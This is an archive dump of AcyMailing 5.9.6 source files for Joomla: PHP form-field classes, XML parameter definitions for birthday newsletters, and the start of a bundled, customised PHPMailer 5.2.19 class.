defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){
	class JElementHelp extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$config = acymailing_config();
			$level = $config->get('level');
			$link = ACYMAILING_HELPURL.$value.'&level='.$level;
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_HELP').'</button>');
			return $text;
		}
	}
}else{
	class JFormFieldHelp extends JFormField
	{
		var $type = 'help';

		function getInput() {
			$config = acymailing_config();
			$level = $config->get('level');
			$link = ACYMAILING_HELPURL.$this->value.'&level='.$level;
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_HELP').'</button>');
			return $text;
		}
	}
}
com_acymailing/params/lists.php000060400000003456152453734450012671 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){

	class JElementLists extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&amp;task='.$name.'&amp;values='.$value.'&amp;control='.$control_name;
			$text = '<input class="inputbox" id="'.$control_name.$name.'" name="'.$control_name.'['.$name.']" type="text" style="width:100px" value="'.$value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('Select').'</button>', '', 650, 375, 'link'.$control_name.$name);

			return $text;
		}
	}
}else{
	class JFormFieldLists extends JFormField
	{
		var $type = 'lists';

		function getInput() {

			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&amp;task='.$this->name.'&amp;values='.$this->value.'&amp;control=';
			$text = '<input class="inputbox" id="'.$this->name.'" name="'.$this->name.'" type="text" style="width:100px" value="'.$this->value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('Select').'</button>', '', 650, 375, 'link'.$this->name);

			return $text;
		}
	}
}
com_acymailing/params/tagcontenttags.xml000060400000000363152453734450014563 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields>
		<fieldset name="tagcontenttagfield">
			<field id="tagsauto" name="tagsauto" type="tag" mode="ajax" label="JTAG" multiple="true" custom="deny"></field>
		</fieldset>
	</fields>
</form>
com_acymailing/params/birthday.xml000060400000013015152453734450013342 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form>
    <params addpath="/components/com_acymailing/params">
        <param name="acymailing" type="testplug" label="Test" description="Click on the test button to test your plugin. Please save your plugin first otherwise the configuration will not be applied" default="plgbirthday"/>
        <param name="mailid" type="newsletters" label="E-Mail" description="Select the Newsletter which will be sent as birthday e-mail" default="0" />
        <param name="sendtime" type="text" size="10" label="Send at" description="Specify the time AcyMailing will send the birthday e-mail to the user" default="8:00" />
        <param name="nbdays" type="text" size="10" label="Number of days before the birthday" description="The Newsletter will be sent X days before the user birthday. Please specify 0 if you want the Newsletter to be send the day of the birthday" default="0"/>
        <param name="birthdaytable" type="list" label="Birthday table" description="Select the database table AcyMailing will query to send the birthday Newsletter" default="0" >
            <option value="0"> - - - </option>
            <option value="acymailing">AcyMailing</option>
            <option value="ajaxregister">AJAX Register</option>
            <option value="civicrm">CiviCRM</option>
            <option value="cb">Community Builder</option>
            <option value="easyprofile">EasyProfile</option>
            <option value="easysocial">EasySocial</option>
            <option value="eventbooking">Event Booking</option>
            <option value="extendedreg">ExtendedReg</option>
            <option value="fabrik">Fabrik</option>
            <option value="fb">FireBoard</option>
            <option value="hikashop">HikaShop</option>
            <option value="jomsocial">JomSocial</option>
            <option value="joomla">Joomla</option>
            <option value="joomshopping">JoomShopping</option>
            <option value="jss">jSocialSuite</option>
            <option value="kunena">Kunena</option>
            <option value="mightyreg">Mighty Registration</option>
			<option value="seblod">Seblod</option>
            <option value="vm">VirtueMart</option>
        </param>
        <param name="birthdayfield" type="text" size="20" label="Birthday field" description="Enter the name of the table field used to save the birthdate. If you leave this field empty, AcyMailing will take the default one" default="" />
        <param name="listids" type="lists" default="" label="Subscription" description="If you select some lists here, only users subscribed to at least one of the selected lists can receive the birthday message. It can be very useful for multi-lingual birthday messages" />
    </params>
    <fields addfieldpath="/components/com_acymailing/params">
        <fieldset name="birthdayparams">
            <field name="acymailing" type="testplug" label="Test" description="Click on the test button to test your plugin. Please save your plugin first otherwise the configuration will not be applied" default="plgbirthday"/>
            <field name="mailid" type="newsletters" label="E-Mail" description="Select the Newsletter which will be sent as birthday e-mail" default="0" />
            <field name="sendtime" type="text" size="10" label="Send at" description="Specify the time AcyMailing will send the birthday e-mail to the user" default="8:00" />
            <field name="nbdays" type="text" size="10" label="Number of days before the birthday" description="The Newsletter will be sent X days before the user birthday. Please specify 0 if you want the Newsletter to be send the day of the birthday" default="0"/>
            <field name="birthdaytable" type="list" label="Birthday table" description="Select the database table AcyMailing will query to send the birthday Newsletter" default="0" >
                <option value="0"> - - - </option>
                <option value="ajaxregister">AJAX Register</option>
                <option value="acymailing">AcyMailing</option>
                <option value="cb">Community Builder</option>
                <option value="civicrm">CiviCRM</option>
                <option value="easyprofile">EasyProfile</option>
                <option value="easysocial">EasySocial</option>
                <option value="eventbooking">Event Booking</option>
                <option value="extendedreg">ExtendedReg</option>
                <option value="fabrik">Fabrik</option>
                <option value="fb">FireBoard</option>
                <option value="hikashop">HikaShop</option>
                <option value="jomsocial">JomSocial</option>
                <option value="joomla">Joomla</option>
                <option value="joomshopping">JoomShopping</option>
                <option value="jss">jSocialSuite</option>
                <option value="kunena">Kunena</option>
                <option value="mightyreg">Mighty Registration</option>
				<option value="seblod">Seblod</option>
                <option value="vm">VirtueMart</option>
            </field>
            <field name="birthdayfield" type="text" size="20" label="Birthday field" description="Enter the name of the table field used to save the birthdate. If you leave this field empty, AcyMailing will take the default one" default="" />
            <field name="listids" type="lists" default="" label="Subscription" description="If you select some lists here, only users subscribed to at least one of the selected lists can receive the birthday message. It can be very useful for multi-lingual birthday messages" />
        </fieldset>
    </fields>
</form>
com_acymailing/params/index.html000060400000000054152453734450013006 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/params/customtemplate.php000060400000002753152453734450014600 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){
	class JElementCustomtemplate extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$link = 'index.php?option=com_acymailing&ctrl=tag&task=customtemplate&tmpl=component&plugin='.$value;
			if(!empty($node->_attributes['help'])) $link .= '&help='.(string)$node->_attributes['help'];
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_CUSTOMTEMPLATE').'</button>');
			return $text;
		}
	}
}else{
	class JFormFieldCustomtemplate extends JFormField
	{
		var $type = 'help';

		function getInput(){
			$link = 'index.php?option=com_acymailing&ctrl=tag&task=customtemplate&tmpl=component&plugin='.$this->value;
			if(!empty($this->element['help'])) $link .= '&help='.(string)$this->element['help'];
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_CUSTOMTEMPLATE').'</button>');
			return $text;
		}
	}
}
com_acymailing/params/listid.php000060400000002437152453734450013021 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){
	class JElementListid extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name){
			$listType = acymailing_get('type.lists');
			$listType->getValues();
			if(empty($node->_attributes['menu']) || (string)$node->_attributes['menu'] != 'archive') array_shift($listType->values);
			return $listType->display($control_name.'[listid]',(int) $value,false);
		}
	}
}else{
	class JFormFieldListid extends JFormField
	{
		var $type = 'listid';

		function getInput(){
			$listType = acymailing_get('type.lists');
			$listType->getValues();
			if(empty($this->element['menu']) || (string)$this->element['menu'] != 'archive') array_shift($listType->values);
			return $listType->display($this->name,(int) $this->value,false);
		}
	}
}
com_acymailing/params/termscontent.php000060400000004326152453734450014255 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

$config = acymailing_config();
acymailing_addScript(false, ACYMAILING_JS.'acymailing.js?v='.filemtime(ACYMAILING_MEDIA.'js'.DS.'acymailing.js'));

if(!ACYMAILING_J16){

	class JElementTermscontent extends JElement
	{

		function fetchElement($name, $value, &$node, $control_name)
		{
			$link = 'index.php?option=com_content&amp;task=element&amp;tmpl=component&amp;object=content';
			$text = '<input class="inputbox" id="'.$control_name.'termscontent" name="'.$control_name.'[termscontent]" type="text" style="width:100px" value="'.$value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('SELECT').'</button>', '', 650, 375, 'termscontent');

			$js = "function jSelectArticle(id, title, object) {
				document.getElementById('".$control_name."termscontent').value = id;
				acymailing.closeBox(true);
			}";
			acymailing_addScript(true, $js);

			return $text;
		}
	}
}else{
	class JFormFieldTermscontent extends JFormField
	{
		var $type = 'termscontent';

		function getInput() {
			$link = 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;object=content&amp;function=acySelectArticle';
			$text = '<input class="inputbox" id="termscontent" name="'.$this->name.'" type="text" style="width:100px" value="'.$this->value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('SELECT').'</button>', '', 650, 375, 'termscontent');

			$js = "window.acySelectArticle = function(id, title,catid, object) {
					document.getElementById('termscontent').value = id;
					acymailing.closeBox(true);
				}";
			acymailing_addScript(true, $js);
			return $text;
		}
	}
}
com_acymailing/params/newsletters.php000060400000003314152453734450014103 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){

	class JElementNewsletters extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$results = acymailing_loadObjectList("SELECT `mailid`, CONCAT(subject,' ( ',mailid,' )') as `title` FROM #__acymailing_mail WHERE `type`='news' AND (`senddate` IS NULL OR `senddate` < 1)AND `type` = 'news' ORDER BY `subject` ASC");
			$novalue = new stdClass();
			$novalue->mailid = 0;
			$novalue->title = ' - - - - - ';
			array_unshift($results,$novalue);

			return acymailing_select($results, $control_name.'['.$name.']' , 'size="1"', 'mailid', 'title', $value);
		}
	}

}else{
	class JFormFieldNewsletters extends JFormField
	{
		var $type = 'newsletters';

		function getInput() {

			$results = acymailing_loadObjectList("SELECT `mailid`, CONCAT(subject,' ( ',mailid,' )') as `title` FROM #__acymailing_mail WHERE `type`='news' AND (`senddate` IS NULL OR `senddate` < 1)AND `type` = 'news' ORDER BY `subject` ASC");
			$novalue = new stdClass();
			$novalue->mailid = 0;
			$novalue->title = ' - - - - - ';
			array_unshift($results,$novalue);

			return acymailing_select($results, $this->name , 'size="1"', 'mailid', 'title', $this->value);
		}
	}
}
com_acymailing/params/pluginsfield.php000060400000002645152453734450014217 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){
	class JElementPluginsfield extends JElement{
		function fetchElement($name, $value, &$node, $control_name){
			$link = 'index.php?option=com_acymailing&ctrl='.(acymailing_isAdmin() ? '' : 'front').'tag&task=plgtrigger&plg='.$value.'&fctName='.$value.'&tmpl=component';
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_CONFIGURATION').'</button>');
			return $text;
		}
	}
}else{
	class JFormFieldPluginsfield extends JFormField{
		var $type = 'pluginsfield';

		function getInput(){
			$link = 'index.php?option=com_acymailing&ctrl='.(acymailing_isAdmin() ? '' : 'front').'tag&task=plgtrigger&plg='.$this->value.'&fctName='.$this->value.'&tmpl=component';
			$text = acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('ACY_CONFIGURATION').'</button>');
			return $text;
		}
	}
}
com_acymailing/inc/phpmailer/class.phpmailer.php000060400000435072152453734450016072 0ustar00<?php

acymailing_cmsLoaded();

/**
 * Customized version of PHPMailer by Acyba
 * PHPMailer - PHP email creation and transport class.
 * PHP Version 5
 * @package PHPMailer
 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 * @copyright 2012 - 2014 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

/**
 * PHPMailer - PHP email creation and transport class.
 * @package PHPMailer
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 */
 
if (version_compare(PHP_VERSION, '5.0.0', '<') ) {
	exit("Sorry, PHPMailer will only run on PHP version 5 or greater!\n");
}

class acymailingPHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.19';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';
	
	/**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   string  $to            email address of the recipient
     *   string  $cc            cc email addresses
     *   string  $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = '';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    public $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    public $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    public $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    public $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    public $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    public $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $lang = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
       if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = mail($to, $subject, $body, $header);
        } else {
            $result = mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }

    /**
     * Output debugging info via user-defined method.
